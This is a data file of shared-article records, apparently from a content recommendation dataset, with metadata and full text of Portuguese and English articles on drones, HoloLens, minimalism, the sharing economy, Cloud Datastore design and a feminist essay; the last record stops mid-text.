1470230411,CONTENT SHARED,7778744448313924630,-6030696784871381528,672966813852831379,,,,HTML,http://tecnologia.uol.com.br/noticias/redacao/2016/08/03/alphabet-testara-drones-de-entrega-nos-estados-unidos.htm?cmpid=tw-uolnot,Alphabet testará drones de entrega nos Estados Unidos,"A Alphabet, matriz da Google, testará drones de entrega nos Estados Unidos em cooperação com a Agência Federal de Aviação (FAA), anunciou nesta terça-feira (2) a Casa Branca. Essa colaboração faz parte de uma série de iniciativas anunciadas pelo governo de Barack Obama para impulsionar o desenvolvimento dos drones para uso não recreativo. Um estudo será realizado em um dos seis lugares de testes de drones da FAA com os protótipos do ""projeto Wing"" da Alphabet ""a fim de ganhar uma experiência operacional completa do serviço de entrega em um ambiente de teste seguro"", diz o comunicado da Casa Branca. Os testes incluirão o transporte de pacotes colocados na parte externa do drone e o manejo do aparato fora do campo de visão de seu operador, assim como o desenvolvimento de um sistema de comunicação e de gestão do espaço aéreo para os pequenos drones de baixa altitude (menos de 400 pés, cerca de 120 metros), segundo a nota. Wing é um dos grandes projetos lançados pelo laboratório ""X"" que a princípio foi uma divisão da Google, mas que a partir de uma reorganização iniciada no ano passado passou a depender diretamente da Alphabet. Além dos drones, o laboratório trabalhou em outros projetos futuristas como os veículos sem motorista (""Google Car"") e os globos aerostáticos utilizados como repetidoras de internet (projeto ""Loon"").",pt
1470230807,CONTENT SHARED,8912004903894879756,-1578287561410088674,3591986357566581578,,,,HTML,http://gizmodo.uol.com.br/microsoft-hololens-e-cerebro/,"HoloLens, da Microsoft, engana o usuário para consertar conexões falhas do cérebro","O HoloLens, headset de realidade mista da Microsoft , permite aos usuários ver objetos e ambientes virtuais como se existissem no mundo real. E como uma equipe de hackathon demonstrou recentemente, ele também pode ser usado para religar conexões ruins no cérebro . * No futuro, todos em uma sala poderão ser apenas hologramas com nova tecnologia da Microsoft Uma funcionária da Microsoft que sofre de distonia mioclônica - problema no qual disparos elétricos no cérebro provocam espasmos musculares incontroláveis ​​- descobriu que poderia recuperar o controle durante um espasmo olhando para os pés do parceiro dela, em vez de seus próprios. E é assim que ela teve uma grande ideia: usar o HoloLens para treinar o cérebro e fazê-lo agir de forma diferente. Para tanto, ela recrutou a equipe Microsoft Hackathon para testar a ideia, e eles definitivamente estão no caminho certo. No experimento, os participantes usaram o HoloLens e foram treinados com pistas visuais e de áudio. À medida que eles observaram funções corporais normais repetidamente, e à medida que eles trabalharam para incorporar esses movimentos em seu próprio corpo, os participantes conseguiram criar novas conexões no cérebro, que ficaram mais fortes ao longo do tempo. Um trabalho anterior do neurocientista Vilayanur S. Ramachandran mostrou que é possível treinar o cérebro enganando-o com ilusões . Usando imagens espelhadas de uma mão, ele foi capaz de aliviar os sintomas angustiantes da síndrome do membro fantasma em pessoas amputadas. O HoloLens basicamente faz a mesma coisa, fornecendo uma realidade alternativa para o cérebro. Como mostra o trabalho de Ramachandran e outros, há uma profunda conexão entre o que vemos e como esperamos que o nosso corpo sinta e reaja nesses ambientes percebidos. Ao utilizar o HoloLens de forma repetida, o cérebro adquire e forma ligações novas; com o tempo, estes novos caminhos mentais se fortalecem. [ Microsoft News ] Foto: Microsoft/YouTube",pt
1470240693,CONTENT SHARED,7532891417681708371,4918484843075254252,-857249144879709851,,,,HTML,http://www.inc.com/will-yakowicz/serious-business-renewable-energy-vs-oil-and-gas.html,Serious Business: Should Renewable Energy Continue Receiving Government Subsidies?,"Renewable energy like wind and solar is abundant, but can these technologies replace fossil fuels and help to reduce our country's carbon emissions? The U.S. government has subsidized virtually all sources of energy, but not nearly in equal measures. Only 12 percent of government subsidies go to renewables, while the rest go to oil and gas, says Shalini Ramanathan, of wind and solar project developer RES Americas. Should the U.S. ramp up its support of renewables , or should wind and solar companies be left to stand up on their own? During this week's Serious Business debate on the Inc. Uncensored podcast , Inc. editor Jim Ledbetter hosts a debate in Dallas between representatives from wind, solar, and gas companies. Listen to Ed Ireland, from the Barnett Shale Energy Education Council, and Bud Weinstein of Southern Methodist University's Maguire Energy Institute, debate Ramanathan and Charlie Hemmeline, from the Texas Solar Power Association. Let us know who you believe won the debate in the comments below. Serious Business is sponsored by Salesforce. You can listen to individual episodes of Inc. Uncensored , which is part of the Panoply network , or on iTunes , where you can also subscribe. And let us know who you think won the debate by emailing us at uncensored@inc.com.",en
1470244509,CONTENT SHARED,8710192305140953186,-5527145562136413747,-2201631327403080015,,,,HTML,http://www.becomingminimalist.com/gain-more/,10 Things I Gained When I Gave Up All My Stuff,"It started about four years ago, my journey with minimalism. I was single at the time, living in Portland, Oregon. Looking back, I don't think I would have called it minimalism. But I would have told you that, at some point, I looked around my life and realized I had collected a lot of stuff and that I would never really be able to pursue what mattered most to me if I wasn't able to let go of my physical possessions. Actually, I would have emphasized, it wasn't just my possessions, but the way I thought about them. At first, I resisted this notion. I worried giving up my stuff would make me seem flighty and immature, and I especially worried that would mean I would never get married. I was in my late twenties at the time and I was convinced no guy would take me seriously without a good job and a house full of nice things. This was just one of the many toxic thoughts that was keeping me trapped. Meanwhile, in another part of the country, my now-husband was on his own journey with minimalism. Though we didn't know each other yet, he was realizing, like I was, that his physical possessions weren't doing for him what he thought they would. And he was challenging himself to let them go. By the time we met each other, we were knee-deep in questions about how life was meaningful beyond our physical stuff. We were prepared, in this really beautiful way, to continue asking those questions together. For the past several years, my husband and I have been experimenting. I say ""experimenting"" because it has been a process for us to figure out how much stuff is too much stuff, how much is too little, and where a healthy balance lies for us in each different season. But the most beautiful part of this journey is this: even when we've erred on one side or the other, the journey has been incredibly rewarding. We've lost a lot of stuff along the way, but we don't miss it. Here's what we've gained: 1. Peace of mind. I didn't realize how much I worried about my stuff until I let it all go, and suddenly I had mental and emotional energy again. It's a similar feeling to letting go of bitterness you've been harboring for a long time. You don't even realize you are holding it, and then you let it go, and suddenly realize-you're free. This is how it has felt to let go of my stuff. At first, the idea (like forgiveness) seems horrific. How could I give up these clothes, or these fancy pillows, or this box of letters?! They were so important to me. But then, I let them go, and after six months, I could hardly remember why I ever needed them so much. I found so much peace in letting go. 2. Impulse control. If you would have asked me five years ago, I would have told you 'impulse aisles' were designed for people just like me. How I said it would have been important, too (""just like me"") because I assumed that I was just the ""type"" of person who didn't have control over her impulses. Little did I know that having control over my impulses wasn't an issue of personality or temperament, but of discipline. Ever since I stopped buying stuff, the most amazing thing has happened. I have walk-away power. I can walk into Target, or to a grocery store, and only buy the things I need, or walk out empty-handed if they don't have what I was looking for. I know that sounds simple, but it translates to a sense of control over much bigger areas of my life as well. 3. Health and happiness. I'm actually healthier and happier since I've lived with less stuff. Probably because I sleep more, work less, and feel less stress about money. 4. Freedom to pursue my dreams. In the past few years I've been able to pursue the things that really matter to me because I'm not bogged down by things like car payments, a job I hate (but that pays my bills); and because I'm not so attached to my physical possessions that I'm unwilling to put them in a storage unit for a couple of months, or ditch them and get different ones later. For me, this has meant I've been able to travel, write a book , develop friendships, spend more time with my husband, work on projects I care about, and spend time at a non-profit in my area that gives me joy and satisfies my spirit. What could this kind of freedom mean for you? 5. A more nuanced understanding of ""responsibility."" I used to think I couldn't give up most of what I owned-and I certainly couldn't quit my full-time job-because it wouldn't be ""responsible."" But as I began to give up my possessions, I realized that I had a really skewed view of what responsibility was and what it meant. I thought buying a certain kind of laundry detergent was more ""responsible"" than buying another. What I'm learning is that responsibility looks different for everyone, and that part of being responsible is knowing how to care for your spiritual and emotional self, which transcend the physical. What if part of being ""responsible,"" in other words, is listening to your spirit when it tells you, each morning as you drive to work, or as you look at the clutter in your house, that it is suffocating? 6. Extra cash. I used to think I barely made enough money to pay my bills. I lived pretty much paycheck to paycheck. But it's amazing how much room we found in our budget when we realized we could live without cable, internet, or gym memberships. We also share a car (that we own outright) and don't have any credit cards. The exact decisions we've made wouldn't work for everyone, but what we've learned is that there is often room in our budgets we didn't realize was there, and when we gave up the things we didn't really want in the first place, we were able to collect invaluable experiences we never would have been able to afford otherwise. 7. Once in a lifetime experiences. We're always trying to curate experiences, so we travel all the time-to conferences, to weddings, to vacations, or just to visit friends. When one of us goes on a work trip, the other often comes. We love to try new restaurants, explore new places, and be generous with friends. We host people at our apartment in Nashville often, and sometimes even fly friends in. We spend money on classes, books, and experiments. We take a small part of our paychecks each month and set it aside to curate experiences that will be memorable. We never regret spending money on experience. 8. Courage. It's amazing how scared I was when my life was centered around all of my stuff. I would actually have recurring nightmares about my stuff (which my dad, who is a clinical psychologist, assures me was about more than just physical stuff, but about what physical stuff represented to me). Regardless, I can hardly believe I created such a sense of security around physical possessions. Since I gave up my stuff, I'm amazed at the sense of courage I've found. Because my stuff does not define me, I am able to take more risks for things that really matter. 9. A developed sense of self. For a long time I thought that what I owned said something about me, and maybe in a way, it does. But the way I felt like it said something about me was this: If I owned a couch from Pottery Barn, that meant I had really made it. When I could stop buying my furniture at IKEA, then I'd really be an adult. Now, that thought seems so ludicrous to me (and sad, and demeaning). But I think what I felt was that what I owned was a reflection of my self-worth. And now, thanks to the fact that I don't have a couch from Pottery Barn, and never have, my self worth comes from somewhere much deeper and more secure. You can't put a price on that. 10. Better relationships. It's no surprise that with more courage, a better understanding of myself (my real self), less anxiety, more freedom and greater discipline that my relationships have improved dramatically. My friendships are richer and more satisfying. I fight with my husband less. I'm less likely to end up in a toxic relationship that steals all of my energy. It's easier for me to let silly things go that don't matter-because I understand what matters now. My life isn't perfect, but I'm happier than I've ever been, more satisfied than I ever was before. I would never go back. *** Allison Fallon inspires and encourages others to live with less. She is definitely worth following on Twitter .",en
1470244830,CONTENT SHARED,-2879657397552025078,-5527145562136413747,-2201631327403080015,,,,HTML,http://time.com/97715/most-people-say-they-could-get-rid-of-tons-of-stuff-and-still-be-happy/,Most People Say They Could Get Rid of Tons of Stuff and Still Be Happy,"Deep in your heart of hearts, you probably know you could unload the majority of your possessions without getting too upset. Could you get rid of most of your stuff and still be happy? The majority of consumers polled in a new study say they absolutely could. The study, titled ""The New Consumer and the Sharing Economy"" and conducted by Havas Worldwide, surveyed more than 10,000 people around the globe. The results offer some interesting takeaways about consumption-and overconsumption . Among them: *Half of all consumers say they could live happily without most of the items they own. *Two-thirds say they get rid of unneeded possessions once a year, if not more often. *70% believe that overconsumption is putting the planet and society at risk. The factoids mesh with plenty of previous research that indicates, for example, the average American home is cluttered with possessions (and our incessant yearning for stuff is stressful and unhealthy), and that the average American child receives some 70 new toys per year . Other research points out that happiness comes largely as a result of fun experiences and relationships with other people rather than the gathering or more and more ""stuff."" Money has been correlated with happiness, though how we spend it has a lot to do with whether wealth helps make one content or miserable. It probably isn't necessary for researchers to delve into reams of data in order to deliver many of these official ""revelations."" Down deep, most of us generally know that we don't really need much of what we own, and that getting rid of some, if not most, of our clutter certainly wouldn't be the worst thing to happen. (""Hoarders"" anyone?) On the one hand, the new study data demonstrates that most people are fully conscious of the idea that overconsumption is bad, and that one's happiness isn't dependent on ""stuff."" On the other hand, while it would seem to be good that the majority of people sell, recycle, or otherwise get rid of unneeded possessions at least once annually, the fact that people are swimming in unneeded possessions in the first place is a pretty clear indication that the average person regularly acquires more than he needs. *65% agreed with the line ""Our society would be better off if people shared more and owned less."" The title of the new study features the term ""Sharing Economy,"" which applies to businesses such as Airbnb, Lyft, and SideCar , among many others. What they all have in common is that they're based on the idea that, for many consumers, it makes more sense to ""share"" (usually for a fee, of course) rather than buy a car, ride, vacation rental, dress, gadget, or almost anything else under the sun. Another of the study's factoids shows that most people are in favor of sharing: Because sharing economy operations are new and often viewed as disruptors-if not likely destroyers-of traditional businesses like taxi companies and hotels, they routinely find themselves in the government's crosshairs and may very well be subjected to increased restrictions and regulations in the future. Nonetheless, it seems like the sharing economy's future is bright, if for no other reason than consumers largely embrace the concept. ""For a number of years, we've tracked the shift away from wasteful spending and toward a more mindful approach to consumption, but what we're seeing now is much more proactive and hands-on,"" Andrew Benett, global CEO of Havas Worldwide, which conducted the new study, said in a press release. ""They're getting involved in the consumption cycle by contributing to the funding or even the creation of products they want and by reselling or renting out their unneeded possessions. They're creating new formats for the exchange of goods. And every step of the way, they are practicing 'less is more,' and savoring their 'less.'"" Consumers who own stuff like the sharing economy because it gives them a way to get some use-and ideally, some money-out of the possessions that otherwise might be rarely unused, gathering dust and taking up space. And consumers who choose to own less like the sharing economy model because it gives them a way to get their hands on more stuff without having to actually take the plunge and buy. They also don't have to worry about finding space to store this stuff because, remember, it's not their stuff. They get to give it back.",en
1470253169,CONTENT SHARED,3170775058142440102,-7606731662737258050,6878120212962380972,,,,HTML,http://revistatrip.uol.com.br/tpm/milly-lacombe-fala-sobre-patriarcado-e-casamento,Criadas para casar,"Eu tinha 9 anos quando fui arrancada de um jogo de futebol no recreio porque a diretoria de um dos colégios mais tradicionais de São Paulo havia se reunido e decidido que eu, uma menina, deveria brincar de boneca e não bater bola. Lembro da sensação de ser conduzida por uma das professoras a uma sala escura dentro da qual as garotas da classe celebravam o aniversário de uma boneca pálida, loira e de plástico. Sempre tive medo de bonecas porque a falta de vida delas me soava petrificante. Como petrificante foi ter que passar muitos minutos escutando ""parabéns a você"" para um ser inanimado enquanto ainda era capaz de ouvir os meninos gritando de alegria do lado de fora, o que indicava que embora eu fosse um dos melhores jogadores em campo minha ausência não era sentida. Da mesma forma, minha presença na sala escura tampouco era reconhecida. É preciso que entendamos a violência para além da delinquência: o que a diretoria daquela escola fez comigo no outono de 1976 foi uma violência. Assim como é uma violência que o recado dado a meninas desde o berço seja: o importante é casar e ter filhos. E ele vem de todos os lados: das lojas de brinquedo, dos pais, dos professores, da comunidade, da propaganda. Ainda que muita coisa tenha mudado desde aquele recreio há 40 anos, a condição feminina segue lutando para se livrar dos resíduos de séculos de patriarcado. LEIA TAMBÉM: Todos os textos de Milly Lacombe na Tpm ""Fascismo é a derradeira expressão da hierarquia patriarcal"", escreveu Virginia Woolf há mais de meio século. Para ela, a escola da vida não ensinaria a arte da dominação, ou a arte do poder e da matança, ou como adquirir terras, propriedades, capital. Num mundo mais feminino, a escola imaginada por ela ensinaria artes como medicina, matemática, música, pintura, literatura, e também a arte do sexo e do entendimento a outros seres humanos. O objetivo não seria segregar ou especializar, mas misturar. O objetivo não seria casar, mas amar. Só que, como escreveu Nicholas Kristof, colunista do New York Times, a grande ameaça a extremistas não são drones jogando bombas, mas meninas lendo livros. Em democracias, onde extremistas são mais raros, a perpetuação do patriarcado se faz pela propaganda e pela doutrinação, e segue funcionando como sempre. Politicamente, somos moldadas desde pequenas: casar é transmitido como objetivo final. A mensagem vem das formas mais singelas e doces, como por exemplo dos filmes românticos que terminam sempre com um casamento. Não há conversas sobre sexo, relações humanas, convívio, e eles terminam onde deveriam começar porque todos os que já casaram sabem que é aí que a coisa exige atenção, dedicação, esforço. Não temos isso, temos o casamento como destino, os afazeres do lar como brincadeiras de criança e, depois, como realidade do adulto que ""deu certo socialmente"". Em 1910, Emma Goldman, misturou casamento e política quando escreveu: ""Casamento nesses termos é como aquele outro arranjo patriarcal, o capitalismo. Ele rouba homens e mulheres de dignidade, de brilho, poda seu crescimento, envenena seu corpo, os mantém na ignorância, na pobreza, na dependência, e então institui a caridade, que rouba os últimos vestígios de autorrespeito"". E o professor britânico Timothy Morton disse a respeito do aquecimento global: ""Colocar a natureza num pedestal e admirá-la de longe faz pelo meio ambiente o que o patriarcado faz pela mulher"". Oprimidas e domesticadas A crueldade do patriarcado se desdobra em muitas áreas do cotidiano e é assimilada sem que percebamos. Somos, por exemplo, encorajadas a acreditar que não emagrecemos porque não nos exercitamos o suficiente, mas não se fala do açúcar e de como as legislações aplicadas a ele nos matam lentamente. Quando as taxas de obesidade nos EUA ultrapassaram todos os limites aceitáveis teve início a febre do low fat, mas o que não contaram é que ao tirar a gordura eles acrescentaram açúcar. Claro que homens são vítimas também, mas a eles não está imposta a ditadura da magreza e da gostosura. E, depois disso tudo, o recado que chega é: você precisa malhar, manter-se decente para poder casar, ter filhos e seguir casada. O patriarcado é bom em nos culpar por suas mazelas. Ao nos recusarmos a encarar o debate político que envolve o patriarcado, seguimos vivendo dentro desta distopia: oprimidas, domesticadas, doutrinadas para sermos mães e mulheres dedicadas, magras e obedientes. Alguns dos direitos mais fundamentais de todo ser humano são a criatividade e a liberdade, mas o patriarcado nos priva disso enquanto tenta convencer que a verdadeira liberdade é poder comprar dois sapatos pelo preço de um. Liberdade é a possibilidade concreta de todos nós desenvolvermos as faculdades, capacidades e habilidades com as quais a natureza nos dotou e convertê-las em valor social. É o que desejamos àqueles que amamos, mas é o que deveríamos desejar a todo ser humano se percebêssemos que somos parte de uma mesma substância. Demorei muitos anos para me livrar da ferida deixada pela diretoria da escola em que estudei, e incontáveis invernos para entender que eu não precisaria casar, ou sequer casar com um homem, para cumprir uma suposta função social e me sentir bem-sucedida. Foi uma longa travessia essa que me ensinou que casar não é fundamental, mas que amar é. A menos que não nos acanhemos de encarar o debate político, arregacemos as mangas e lutemos contra a crueldade do patriarcado, não seremos capazes de sair dessa armadilha em que nos meteram. Nada menor do que uma revolução pode nos tirar daqui. Virginia Woolf fica com a palavra final: ""Como mulher, não tenho um país; como mulher, não quero um país; como mulher, meu país é o mundo inteiro"".",pt
1470254124,CONTENT SHARED,-3488100191290830083,1895326251577378793,2406098317009503681,,,,HTML,http://veja.abril.com.br/blog/radar-on-line/economia/pelo-setimo-mes-consecutivo-fluxo-de-visitantes-a-shopping-centers-recua/,"Pelo sétimo mês consecutivo, fluxo de visitantes a shopping centers recua | VEJA.com","O fluxo de visitantes nos centros de compras do país recuou 2,19% em julho na comparação com o mesmo mês do ano passado. De acordo com o levantamento, realizado pela Abrasce em parceria com a FX, a região Sudeste registrou o maior recuo, com retração de 3,30%, seguido do Nordeste com 2,73% e do Sul com 1,18%. No acumulado do ano até o momento, a queda é de 4,25% em relação a 2015. No entanto, mesmo com o cenário negativo, por causa das férias escolares houve um aumento de 4,94% em relação ao mês de junho.",pt
1470254661,CONTENT SHARED,-498521148402713730,-4298177694576275482,5138971423675374866,,,,HTML,https://cloudplatform.googleblog.com/2016/08/building-immutable-entities-into-Google-Cloud-Datastore.html,Building immutable entities into Google Cloud Datastore,"Editor's note: Today, we hear from Aleem Mawani, co-founder of Streak.com, a Google Cloud Platform customer whose customer relationship management (CRM) for Google Apps is built entirely on top of Google products: Gmail, Google App Engine and Google Cloud Datastore. Read on to learn how Streak added advanced functionality to the Cloud Datastore object storage system Streak is a full blown CRM built directly into Gmail. We're built on Google Cloud Platform (most heavily on Google App Engine ) and we store terabytes of user data in Google Cloud Datastore . It's our primary database, and we've been happy with its scalability, consistent performance and zero-ops management. However, we did want more functionality in a few areas. Instead of overwriting database entities with their new content whenever a user updated their data, we wanted to store every version of those entities and make them easy to access. Specifically, we wanted a way to make all of our data immutable. In this post, I'll go over why you might want to use immutable entities, and our approach for implementing them on top of Cloud Datastore. There are a few reasons why we thought immutable entities were important. We wanted an easy way to implement a newsfeed-style UI. Typical newsfeeds show how an entity has changed over time in a graphical format to users. Traditionally we stored separate side entities to record the deltas between different versions of a single entity. Then we'd query for those side entities to render a newsfeed. Designing these side entities was error prone and not easily maintainable. For example, if you added a new property to your entity, you would need to remember to also add that to the side entities. And if you forgot to add certain data to the side entities, there was no way to reconstruct that later down the line when you did need it - the data was gone forever. Having immutable entities allows us to recover from user errors very easily. Users can rollback their data to earlier versions or even recover data they may have accidentally deleted (see how we implemented deletion below) 1 . Potentially easier debugging. It's often useful to see how an entity changed over time and got into its current state. We can also run historical queries on the number of changes to an entity - useful for user behaviour analysis or performance optimization. Some context Before we go into our implementation of immutable entities on the Cloud Datastore, we need to understand some of the basics of how the datastore operates. If you're already familiar with the Cloud Datastore, feel free to skip this section. You can think of the Cloud Datastore as a key-value store. A value, called an entity in the datastore, is identified by its key, and the entity itself is just a bag of properties. There's no enforcement of a schema on all entities in a table so the properties of two entities need not be the same. The database also supports basic queries on a single table - there are no joins or aggregation, just simple table scans for which an index can be built. While this may seem limiting, it enables fast and consistent query performance because you will typically denormalize your data. The most important property of Cloud Datastore for our implementation of immutable entities is ""entity groups."" Entity groups are groups of entities for which you get two guarantees: Queries that are restricted to a single entity group get consistent results. This means that a write immediately followed by a query will have results that are guaranteed to reflect the changes made by the write. Conversely, if your query is not limited to a single entity group you may not get consistent results (stale data). Multi-entity transactions can only be applied within a single entity group (this was recently improved - Cloud Datastore now supports cross entity group transactions but limits the number of entity groups involved to 25). Both of these facts will be important in our implementation. For more details on how the Cloud Datastore itself works, see the documentation . How we implemented immutable entities We needed a way to store every change we made to a single entity while supporting common operations for entities: get, delete, update, create and query. The overall strategy we took was to utilize two levels of abstraction - a ""datastore entity"" and a ""logical entity."" We used individual ""datastore entities"" to represent individual versions of a ""logical entity."" Users of our API would only interact with logical entities and each logical entity would have a key to identify it and support the common get, create, update, delete and query operations. These logical entities would be backed by actual datastore entities comprising the different versions of that logical entity. The most recent, or tip, version of the datastore entities represented the current value of the logical entity. First let's start with what the data model looks like. Here's how we designed our entity: The way this works is that we always store a new datastore entity every time the user would like to make a change to the entity. The most recent datastore entity has the isTip value set to true and the rest don't. We'll use this field later to query for a particular logical entity by getting the tip data store entity. This query is fast in the data store because all queries are required to have indexes. We also store the timestamp for when each datastore entity was created. The versionId field is a globally unique identifier for each datastore entity. These IDs are automatically assigned by Cloud Datastore when we store the entity. The consistentId identifies a logical entity - it's the ID we can give to users of this API. All of the datastore entities in a logical entity have the same consistent ID. We picked the consistent ID of the logical entity to be equal to the ID of the first datastore entity in the chain. This is somewhat arbitrary, and we could have picked any unique identifier, but since the low level Cloud Datastore API gives us a unique ID for every datastore entity, we decided to use the first one as our consistent ID. The other interesting part of this data model is the firstEntityInChain field. What's not shown in the diagram is that every datastore entity has its parent (the parent determines the entity group) set to the first datastore entity in the chain. It's important that all the datastore entities in the chain (including the first one) have the same parent and are thus in the same entity group so that we can perform consistent queries. You'll see why these are needed below. Here's the same immutable entity defined in code. We use the awesome Objectify library with the Cloud Datastore and these snippets do make use of it. So how do we perform common operations on logical entities given that they are backed by datastore entities? Performing creates When creating a logical entity, we just need to create a single new datastore entity and use the Cloud Datastore's ID allocation to set the versionId field and the consistentId field to the same value. We also set the parent key ( firstEntityInChain ) to point to itself. We also have to set isTip to true so we can query for this entity later. Finally we set the timestamp and the creator of the datastore entity and persist the entity to Cloud Datastore. To update a logical entity with new data, we first need to fetch the most recent datastore entity in the chain (we describe how in the ""get"" section below). We then create a new datastore entity and set the consistentId and firstEntityInChain to that of the previous datastore entity in the chain. We set isTip to true on the new datastore entity and set it to false on the old datastore entity (note this is the only instance in which we modify an existing entity so we aren't 100% immutable). In order to delete logical entities, all we need to do is set the isTip of the most recent datastore entity to false. By doing this we ensure that the ""get"" operation described above no longer returns a result, and similarly, queries such as those described below continue to operate. We finally fill in the timestamp and user keys fields, and we're ready to store the new datastore entity. Two important points on this: for the new datastore entity, we can let the datastore automatically allocate the ID when storing the entity (because we don't need to use it anywhere else). Second, it's incredibly important that we fetch the existing datastore entity and store both the new and old datastore entity in the same transaction. Without this, our data could become internally inconsistent. Performing a get actually requires us to do a query operation to the datastore because we need to find the datastore entity that has a certain consistentId AND has isTip set to true. This entity will represent the logical entity. Because we want the query to be consistent, we must perform an ancestor query (i.e., tell Cloud Datastore to limit the query to a certain entity group). This only works because we ensured that all datastore entities for a particular logical entity are part of the same entity group. This query should only ever return one result - the datastore entity that represents the logical entity. We need to be able to perform queries across all logical entities. However, when querying every datastore entity, we need to modify our queries so that they only consider the tip datastore entity of each logical entity (unless you explicitly want to find old versions of the data). To do this, we need to add an extra filter to our queries to just consider tip entities. One important thing to note is that we cannot do consistent queries in this case because we cannot guarantee that all the results will be in the same entity group (in fact we know for certain they are not if there are multiple results) Performing newsfeed queries One of our goals was to be able to show how a logical entity has changed over time, so we must be able to query for all datastore entities in a chain. Again, this is a fairly straightforward query - we can just query by the consistentId and order by the timestamp. This will give us all versions of the logical entity. We can diff each datastore entity against the previous datastore entity to generate the data needed for a newsfeed. Downsides Using the design described above, we were able to achieve our goal of having roughly immutable entities that are easy to debug and make it easy to build newsfeed-like features. However, there are some drawbacks to this method: We need to do a query any time we need to get an entity. In order to get a specific logical entity, we actually need to perform a query as described above. On Cloud Datastore, this is a slower operation than a traditional ""get"" by key. Additionally, Objectify offers built-in caching, which also can't be used when trying to get one of our immutable entities (because Objectify can't cache queries). To address this, we'll need to implement our own caching in memcache if performance becomes an issue. There's no method to do a batch get of entities. Because each query must be restricted to a single entity group for consistency, we can't fetch the tip datastore entity for multiple logical entities with just one datastore operation. To address this, we perform multiple asynchronous queries and wait for all to finish. This isn't ideal or clean, but it works fairly well in practice. Remember that on App Engine there's a limit of 30 outstanding RPCs when making concurrent RPC calls, so this only takes you so far. High implementation cost for the first entity. We abstracted most of the design described above so that future immutable entities would be cheap for us to implement, however, the first entity wasn't trivial to implement. It took us some time to iron out all the kinks, so it's definitely only worth doing this if you very much need immutability or if you'll be spreading the implementation cost across many use cases. Entities are never actually deleted. By design, we don't delete immutable entities. However, from a user perspective, they may have the expectation that once they delete something in our app, we actually delete the data. This also might be the expectation in some regulated industries (i.e., healthcare). For our use case, it wasn't necessary, but you may want to develop a system that maps over your dataset and finds fully deleted logical entities and deletes all of the datastore entities representing them in some batch task periodically. Next steps We've only been running with immutable entities in production for a little while, and it remains to be seen what problems we'll face. And as we implement a few more of our datasets as immutable entities, it will become clear whether the implementation costs were worth the effort. Subscribe to our blog to get updates. If this sort of data infrastructure floats your boat, definitely reach out to us as we have several openings on our backend team. Check out our job postings for more info. Discuss on Hacker News 1 This is very similar to the idea of MVCC ( which is how many modern databases implement transactions and rollback.",en
1470268326,CONTENT SHARED,9178250635927683,-5527145562136413747,-2201631327403080015,,,,HTML,http://www.fastcoexist.com/3046119/defining-the-sharing-economy-what-is-collaborative-consumption-and-what-isnt,Defining The Sharing Economy: What Is Collaborative Consumption--And What Isn't?,"This year, the term ""sharing economy"" was introduced into the Oxford English Dictionary, proof-not that we need it-that the sharing economy as an idea is here to stay. But what's happened along the way is a fracturing of the understanding of what the sharing economy actually is, and what it is not. The picture is growing increasingly confusing, and it's a problem. Many terms are being used to describe a broad swath of startups and models that in some way use digital technologies to directly match service and goods providers with customers, bypassing traditional middlemen. The terms ""sharing economy,"" ""peer economy,"" ""collaborative economy,"" ""on-demand economy,"" ""collaborative consumption"" are often being used interchangeably, though they mean very different things, as are the ideas they go hand-in-hand with, like ""crowdfunding,"" ""crowdsourcing,"" and ""co-creation."" The ""sharing economy"" is a term frequently incorrectly applied to ideas where there is an efficient model of matching supply with demand, but zero sharing and collaboration involved. Platforms such as Washio, Deskbeers, Dashdoor, and WunWun that require the tap of an app to instantly access a clean shirt, massage, or keg of beer are fundamentally different from platforms like BlaBlaCar or RelayRides, which are genuinely built on the sharing of underused assets. Pizza Hut and Amazon one-hour delivery aren't the sharing economy, and these on-demand apps are no different; they are mobile-driven versions of point-to-point delivery. They're thrown under the same umbrella as part of the sea change in consumer behavior that uses the smartphone as a remote control to efficiently access things in the real world. This muddiness in terminology is partly coming from Uber . The experience of using geolocation and frictionless payments to change our ability to get a taxi is creating a transformation in terms of how we expect and want to access everything from getting a parcel shipped on Shyp to a dog walked on Wag, with a tap of a screen. But the Uberfication of everything brings with it confusion about what is true sharing. When we ask ourselves whether a company is in or out of the sharing economy family, maybe it is better to try to filter them against clear criteria versus definitions. I think there are five key ingredients to truly collaborative, sharing-driven companies. The core business idea involves unlocking the value of unused or under-utilized assets (""idling capacity"") whether it's for monetary or non-monetary benefits. The company should have a clear values-driven mission and be built on meaningful principles including transparency, humanness, and authenticity that inform short and long-term strategic decisions. The providers on the supply-side should be valued, respected, and empowered and the companies committed to making the lives of these providers economically and socially better. The customers on the demand side of the platforms should benefit from the ability to get goods and services in more efficient ways that mean they pay for access instead of ownership. The business should be built on distributed marketplaces or decentralized networks that create a sense of belonging, collective accountability and mutual benefit through the community they build. Perhaps we should be working towards a certification system that recognizes true ""sharing,"" ""collaborative,"" and ""peer"" platforms. Indeed, Debbie Woskow, author of "" Unlocking the Sharing Economy : An Independent Review,"" is working on an industry-wide 'kite mark' for responsible sharing economy companies in the U.K. To be sure, there is overlap between examples and meaning of terms but there are also distinct differences that are important to note. In November 2013, I wrote a piece for Co.Exist outlining the need to clarify definition s. I recently revisited these definitions to make sure they best encapsulate the behaviors, business models, economic principles and companies typically used under the term. I have added ""On-Demand Services,"" as they are often being discussed as part of the same ecosystem: Collaborative Economy: An economic system of decentralized networks and marketplaces that unlocks the value of underused assets by matching needs and haves, in ways that bypass traditional middlemen. Rachel Botsman 2015 Good examples: Etsy, Kickstarter, Vandebron, LendingClub, Quirky, Transferwise, Taskrabbit Sharing Economy: An economic system based on sharing underused assets or services, for free or for a fee, directly from individuals. Rachel Botsman 2015 Good examples: Airbnb, Cohealo, BlaBlaCar, JustPark, Skillshare, RelayRides, Landshare Collaborative Consumption: The reinvention of traditional market behaviors-renting, lending, swapping, sharing, bartering, gifting-through technology, taking place in ways and on a scale not possible before the internet. Rachel Botsman 2015 Good examples: Zopa, Zipcar, Yerdle, Getable, ThredUp, Freecycle, eBay On-Demand Services : Platforms that directly match customer needs with providers to immediately deliver goods and services. Rachel Botsman 2015 Good examples: Instacart, Uber, Washio, Shuttlecook, DeskBeers, WunWun As the sharing economy grows, it will continue to divide and, as it does, I believe the need to understand and hold true to what it is really is will become greater. The sharing economy is uniquely placed to reflect our desire as human beings to connect directly and to feel a part of community larger than our individual selves, which serves a purpose far higher than simply the trading of stuff, space and talents. It's good to criticize the core ideas and companies, as this will only challenge it to improve, but let's make sure we accurately define what we're criticizing first. I welcome your feedback at rachel@rachelbotsman.com . Slideshow Credits: 01 / Rachel Botsman 2015; 02 / Rachel Botsman 2015; 03 / Rachel Botsman 2015; 04 / Rachel Botsman 2015; 05 / Rachel Botsman 2015; 06 / Rachel 